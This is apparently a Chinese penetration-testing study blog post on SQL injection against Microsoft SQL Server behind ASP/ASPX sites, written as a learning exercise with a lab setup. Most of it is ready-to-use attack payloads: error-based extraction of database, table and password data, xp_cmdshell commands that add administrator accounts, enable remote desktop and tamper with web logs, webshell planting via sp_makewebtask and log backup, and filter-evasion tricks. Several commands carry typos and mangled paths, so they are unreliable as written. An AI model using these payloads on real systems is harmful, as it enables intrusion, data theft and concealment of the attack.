zoukankan      html  css  js  c++  java
  • 渗透测试学习 九、 MSsql注入上

    MSsql注入漏洞详解

    (Asp、Aspx站,常见于棋牌网站、考试网站、大学网站、政府网站、游戏网站、OA办公系统)

    大纲:msSQL数据库调用分析  msSQL注入原理  msSQL注入另类玩法  

     msSQL数据库介绍及操作

      介绍:ms SQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。SQL Server一开始并不是微软自己研发的产品,而是当时为了要和IBM竞争时,与Sybase合作所

    产生的,其最早的发展者是Sybase,同时微软也和Sybase合作过 SQL Server 4.2版本的研发,微软亦将SQL Server 4.2移植到Windows NT(当时为3.1版),在与Sybase终止合作关系后,自力开发出SQL Server 6.0版,往后的SQL Server即均由微软自行研发。(源自百度百科)

      特点:

        1、高性能设计。可充分利用WindowsNT的优势

        2、系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置

        3、强壮的事务处理能力,采用各种方法保证数据的完整性

        4、支持对称多处理器结构,存储过程、ODBC,并具有自主的SQL语言。SQLserver以其内置的数据复制功能,强大的管理工具与Internet的紧密集成和开放的系统结构为广大的用户,开发人员和系统集成商提功力一个出众的数据库平台

    msSQL服务、端口、后缀

      重启服务,使其生效,命令:services.msc

      TCP 0.0.0.0:1433  0.0.0.0:0  LISTENING

      1433端口是开启的,当关闭服务后,端口也会随之关闭

      后缀 cracer.mdf(数据库文件)

      日志文件后缀 cracer_log.ldf

      管理员帐号:sa

      hydra 可以直接爆1433的弱口令

    SQL sever 2005安装(Windows server 2003)

    打开tools文件下的setup.exe文件进行安装

    同意条款后点击下一步,安装

    下一步,下一步

    下一步,信息随便填,下一步

    选择整个功能安装到本地硬盘上,点击下一步,下一步,安装

    一路默认,完成。

    安装服务servers,找到servers文件下的setup.exe文件进行安装

    接受服务,下一步安装组件,下一步

    一路默认下一步,全选,下一步

    一路下一步到服务账户,设置使用内置系统账户,下一步

    设置混合模式,设置密码,正常情况下这个密码应该设置的很难,但是我们只是搭建靶场,设置一个简单容易记的就可以(123)

    可以直接默认下一步

    一路默认,安装,下一步,完成

    打开

    打开后有两种方式登录,一种是Windows身份,一种是SQL server身份,我们选择SQL server

    登录名是sa(相当于操作系统的最高权限账户) 密码是之前安装时自己设置的(123)

    分离、附加数据库

     登入后就是数据库连接客户端界面(真正的数据库是看不到的,它只是一种服务,这个只是方便用户管理的一个客户端 )

    数据库是靠dbid来区分的(在后面进行注入的时候就会体现出dbid的作用),我们新创建的就是dbid5,以下是自带的四个数据库

    新建数据库如下:

    对数据库出右键点击选择新建数据库,做好需要的设置以后点击确定就可以了

    新建表:右键点击表-->新建表,做好相应的设置以后,Ctrl+s保存,设置表名

    之后添加内容的时候,右键点击我们创建的表-->打开表,进行内容的添加,然后Ctrl+s保存就好

    也可以通过命令来执行,点击嘴上脚的新建查询

     

    使用数据库ceshi,点击执行

    之后就是数据库的一些语句的使用了。进行增删改查的操作,每一次的命令都需要点击执行才可以成功

     如果要删除这个数据库,首先要记得,第一步-->分离

    右键点击要删除的数据库,选择任务中的分离选项

     

    然后找到数据库保存的路径,然后删除就好

    关于附加,就是我们将别处下载下来的数据库要附加在我们的管理器中(需要注意兼容性的问题)

    右击数据库,选择附加

    找到数据库的路径(要选择两个文件.mdf  .ldf)

    也可以生成脚本对数据库打包,拿到本地直接执行

    在安全性里面是可以创建登录账号的,可以只针对某一个数据库进行账号的添加设置

    如果要下载目标数据库的.mdf  .ldf,需要先分离数据库,否则无法进行复制移动操作的 

    常见语句

      1、创建数据库

        CREATE DATABSE databse-name

      2/删除数据库

        drop database dbname

      查询所有

        select * from 表名

        select * from student

    msSQL数据库权限

      sa权限:数据库操作、文件管理、命令执行、注册表读取等,system(是最高的权限)

      db权限:文件管理、数据库操作等,users-adminstrators

      public权限:数据库操作,guest-users

    msSQL数据调用分析

      调用数据库的代码

    1 <%
    2 set conn=server.createobject("adodb.connection")
    3 conn.open "provider=sqloledb;source=local;uid=sa;pwd=*******;"
    4 database=database-name
    5 %>

    其中,provider后面的不用管,照写;source后面的可以是ip地址,这里使用的是本地地址(点号也是可以代替表示本地地址的);sa是内置的用户,后面是密码;database后面是要连接的数据库的名称。例如:mydatabase(不需要扩展名)

    一般在存在于一些配置脚本中,如:web.config

    msSQL数据库注入

      1、判断是否存在注入

        and 1=1 (回显正常)  adn 1=2(报错)  /(报错)  -0(回显正常)  其实所有的判断都可以使用这种方法

      2、初步判断是否是msSQL

        and user >0

      3、判断数据库系统

        and (select count(*) from sysobjects) >0 (回显正常说明是msSQL)

        and (select count(*) from msysobjects) >0 (回显正常说明是access)

      4、注入参数是字符

        'and [查询条件] and "='

      5、搜索时没有过滤参数的

        'and [查询条件] and '%25"="

      6、猜表明

        and (select count(*) from [表名]) >0

      7、猜字段

        and (select count(字段名) from 表名) >0

      8、猜字段中记录的长度

        and (select top 1 len(字段名) from 表名) >0

      9、(1)猜字段的ASCII值(access)

        and (select top 1 asc(mid(字段名,1,1)) from 表名) >0

       (2)猜字段的ASCII值(msSQL)

        and (select top 1 unicode(substring(字段名,1,1)) from 表名) >0

       10、测试权限结构(msSQL)测试当前是什么身份

        and 1=(select IS_SRVOEMEMBER('sysadmin'));--

        and 1=(select IS_SRVOEMEMBER('serveradmin'));--

        and 1=(select IS_SRVOEMEMBER('setupadmin'));--

        and 1=(select IS_SRVOEMEMBER('securityadmin'));--

        and 1=(select IS_SRVOEMEMBER('diskadmin'));--

        and 1=(select IS_SRVOEMEMBER('bulkadmin'));--

        and 1=(select IS_SRVOEMEMBER('db_owner'));--

      11、添加msSQL和系统的账户

    1 1 exec master,dbo.sp_addlogin username;--
    2 2 exec master,dbo.sp_password null,username,password;--
    3 3 exec master,dbo.sp_addsrvrolemember sysadmin username;--
    4 4 exec master,dbo.sp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /active:yes /add';--
    5 5 exec master,dbo.xp_cmdshell 'net user username password /add';--
    6 6 exec master,dbo.xp_cmdshell 'net localgroup administrators username /add';--

    判断注入

      http://www.abc.com/anc.asp?id=0   在后面加 ' 后报错

    获取数据库信息

      id=1 and 1=(select @@version)  //数据库版本

      原理:id=1是数字类型,@@version是字符类型;前后两个类型不匹配就要强制转换,出错,就会报错,并把查寻得信息以报错的形式显示出来

    获取当前数据库的名称

      id=1 and 1=(select db_name())  //查询当前使用的数据库名

    获取用户数据库名称

      and 1=(select top 1 name from master..sysdatabuses where dbid >4)  //获取第一个用户的数据库名

      and 1=(select top 1 name from master..sysdatabuses where dbid >4 and name<>' test)  //获取除过test库的下一个数据库

      and 1=(select top 1 name from master..sysdatabuses where dbid >4 and name<>' test and name<>' test2)

      以此类推

      也可以直接修改id范围来查询

      and 1=(select top 1 name from master..sysdatabuses where dbid >4)

      and 1=(select top 1 name from master..sysdatabuses where dbid >5)

      and 1=(select top 1 name from master..sysdatabuses where dbid >6)

      以此类推

      也可以 and 1=(select name sysobjects for xml path)

    获取表名

      threads?id=1 and 1=(select top 1 name from sysobjects where xtype='u')  //获取第一张表

      threads?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name<>' news')

      以此类推

       也可以

      and 1=(select name from master..sysdatabases for xml path)

    获取users的列名

      ?id=1 and 1=(select to 1 name from syscolumns where id=(select id from sysobjects where name = 'users'))

    获取第一个用户名对应的密码

      ?id=1 and 1=(select top 1 upass from users)  //如果不能运行,将命令进行大小的转换再执行

    msSQL数据库另类玩法

      msSQL注入时用户权限分析

        sa权限  dbo  public

      基本信息收集    

    and 1=(select is_srvrolemember('sysadmin'))  //判断是不是系统管理员
    and 1=(select is_srvrolemember('db_owner'))  //判断是不是库权限
    and 1=(select is_srvrolemember('public'))   //判断是不是public权限
    and 1=convert(int,db_name())或1=(select db_name())  //当前数据库名
    and 1=(select @@servername)  //本地服务名
    and 1=(select HAS_DBACCESS(CESS('master'))  //判断是否有库的读取权限

      利用msSQL扩展存储注入攻击

        1、检测与恢复扩展存储

          and 1=(select count(*) from master.dbo.sysobjects where xtype='x') AND name= 'xp_cmdshell')

        2、判断xp_rogread扩展存储过程是否存在

          and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')

        3、恢复

          EXEC sp_configure 'shew advanced options', 1; RECONFIGURE;

          EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

          ;exec sp_dropextendedproc xp_cmdshell, 'xplog 10.dll'

      sa权限下扩展存储攻击利用方法

        1、利用xp_cmdshell 扩展执行命令

          查看c盘

    1 ;drop table black
    2 ;create TABLE black(mulu verchar(7996)NULL,ID int NOT NULL IDENTLTY(1,1))--
    3 ;insert into black exec master..xp_cmdshell 'dir c:'
    4 and 1=(select top 1 mulu from black where id=1)

        新建用户

    ;exec master..xp_cmdshell 'net user test test /add'
    ;exec master..xp_cmdshell 'net localgroup administrators tesr /add'

        添加和删除一个sa权限的用户test(前提是需要sa权限)

    exec master.dbo.sp_addlogin.tese,password
    exec master.dbo.sp_addsrvrolemember test,sysadmin

        停止或激活某服务(前提是需要sa权限)

    exec master..xp_servicecontrol 'stop','schedule'
    exec master..xp_servicecontrol 'start','schedule'

        暴网站目录

    create table labeng(lala nvarchar(255), id int)
    DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMControISetoolServicesw3svc5ParametersVirtualRoots','/',@result output insert into lebeng lala) vlaues (@result);

        删除日志记录

    ;exec master.dbo.xp_cmdshell 'copy c:winntsystem32logfilesw3svc5ex070404.log c:wintsystem32logfilesw3svc5ex070606.log >c:	emp.txt'

        开启远程数据库1

    ;select * from OPENROWSET ('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','selset * from table1'

        开启远程数据库2

    ;select * from OPENROWSET ('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;','select * from table')

        打开3389

    ;exec master..xpcmdshell 'sc config termservice start=auto'
    ;exec master..xp_cmdshell 'net start termservice'
    ;exec master..xp_cmdshell 'reg add "HKEY_MACHINESYSTEMCurrentControlSetControlTerminal Server" /vfDenyTSConnections /t REG_DWORO /d oxo /f'  //允许外部链接
    
    ;exec master..xp_cmdshell 'reg add "HKET_LOCAL_DWACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-TCP" /v PortNumber /t REG_DWORD /d ox50 /f'  //改端口到80

        利用sp_makewebtask写入一句话木马

    ;exec sp_makewebtask
    'c:inetpubwwwrootx.asp','select "%3c%25%65%76%61%6c%20%72%65%71%75%65%73%74%74%28%22%63%68%6f%70%70%65%72%22%29%25%3e'"--
    http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27c:inetpubwwwrootmsx1.asp%27,%27select%27%27<%executecrequest("cmd")%>%27%27--

         修改管理员密码

          update admin set password 123123 where username-'admin')

    dbowner权限下的扩展攻击利用

      1、判断数据库用户权限

        ;create table tempcdir nvarchar(255),depth narchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--

      然后

        ;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree'c:',1,1--

        and(select dir from temp where id=1) >0

      由于不能一次性获取文件和文件名,因此需要改ID的值,依次列出文件和文件名

      找到web目录后,就可以写入一句话木马

    ;alter database ssdown5 set RECOVERY FULL  //修改数据库为RECOVERY模式
    ;create table test(str image)--  //创建一个表
    ;backup log ssdown5 to disk='c:	est' with init--  //备份
    ;insert into test(str) values ('<%excut(request("cmd"))%>')--  //插入一句话到列表中
    ;backup log ssdown5 to disk='c:inetpubwwwrootx.asp'--  //备份到网站根目录下并生成x.asp文件
    ;alter database ssdown5 set RECOVERY simple  //再将数据库模式改为RECOVERY

      也可以直接使用工具Getwebshell

    工具使用:

      穿山甲,萝卜头,sqlmap。。。。。。

    空格可以使用  /**/  +  %0a     代替以达到绕过检测的效果

    2019-04-26  10:49:05

  • 相关阅读:
    Python CI中iOS项目自动打包运行
    Jquery 插件开发公开属性顺序的影响.
    MVC4使用SignalR出现$.connection is undefined错误备忘
    C语言运算符的优先级与结合性
    CF478C Table Decorations (贪心)
    LightOJ1370 Bishoe and Phishoe (欧拉函数+二分)
    经典排序:冒泡排序法与选择排序法
    STL初学
    博客园使用Markdown和公式
    为知笔记(Wiz)发布博客到博客园(cnblog)
  • 原文地址:https://www.cnblogs.com/Yuuki-/p/10769765.html
Copyright © 2011-2022 走看看